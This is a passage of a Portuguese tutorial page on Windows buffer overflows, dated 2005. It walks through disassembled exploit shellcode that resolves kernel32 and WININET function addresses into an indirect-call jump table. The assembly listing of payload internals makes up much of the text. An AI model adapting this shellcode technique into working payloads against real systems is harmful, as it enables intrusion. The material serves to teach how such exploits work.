Segurança
Buffer overflow no Windows
| 
			 Sab 5 Nov 2005 23:55  | 
	
- Detalhes
 - Categoria: Windows, o queijo suíço
 - Atualização: Terça, 14 Abril 2009 20:29
 - Autor: vovó Vicki
 - Acessos: 9094
 
     0000017C: 51                           push   ecx
     0000017D: 53                           push   ebx
     0000017E: 56                           push   esi
     0000017F: FF157810606A                 call   d,[06A601078]
     00000185: AB                           stosd
     00000186: 59                           pop    ecx
Isto pega os endereços dos procedimentos das nossas funções e os coloca na tabela apontada por EDI.
     00000187: E2EA                         loop   000000173   ---------- (2)
Loop para todos os procedimentos do kernel.
Agora que acabamos com o kernel, precisamos repetir tudo para os procedimentos da WININET.
     00000189: 43                           inc    ebx
     0000018A: 32C0                         xor    al,al
     0000018C: D7                           xlat
     0000018D: 84C0                         test   al,al
     0000018F: 75F8                         jne    000000189   ---------- (2)
     00000191: 43                           inc    ebx
Este código só existe para mover EBX para além do nome da última função do kernel e para a string "WININET" da tabela de strings decodificada.
     00000192: 53                           push   ebx
     00000193: 53                           push   ebx
     00000194: FF157C10606A                 call   d,[06A60107C]
     0000019A: 8BF0                         mov    esi,eax
     0000019C: 90                           nop
     0000019D: 90                           nop
     0000019E: 90                           nop
     0000019F: 90                           nop
É isso mesmo, os NOPs e os PUSH duplos são lixo de debugação. Se quiser, pode anulá-los com NOP. Este código pega os manipuladores dos módulos (endereço base) da WININET.DLL. Ele os guarda em ESI.
     000001A0: 33C9                         xor    ecx,ecx
     000001A2: 83E9FC                       sub    ecx,-004
     000001A5: 43                           inc    ebx
     000001A6: 32C0                         xor    al,al
     000001A8: D7                           xlat
     000001A9: 84C0                         test   al,al
     000001AB: 75F8                         jne    0000001A5
     000001AD: 43                           inc    ebx
     000001AE: 51                           push   ecx
     000001AF: 53                           push   ebx
     000001B0: 56                           push   esi
     000001B1: FF157810606A                 call   d,[06A601078]
     000001B7: AB                           stosd
     000001B8: 59                           pop    ecx
     000001B9: E2EA                         loop   0000001A5
Este código é apenas uma cópia do usado para obter os endereços das funções do kernel, só que, desta vez, está pegando os endereçõs das 4 funções da WININET. Por isto, não há necessidade de explicar tudo novamente. Muito bem, a tabela de saltos está pronta. EDI aponta para o dword depois do fim da tabela de saltos de modo que agora podemos referenciar os procedimentos indiretamente através de EDI (call dword ptr [edi-16]). É como se fosse uma tabela de importação, porém muito mais divertido!
				
 
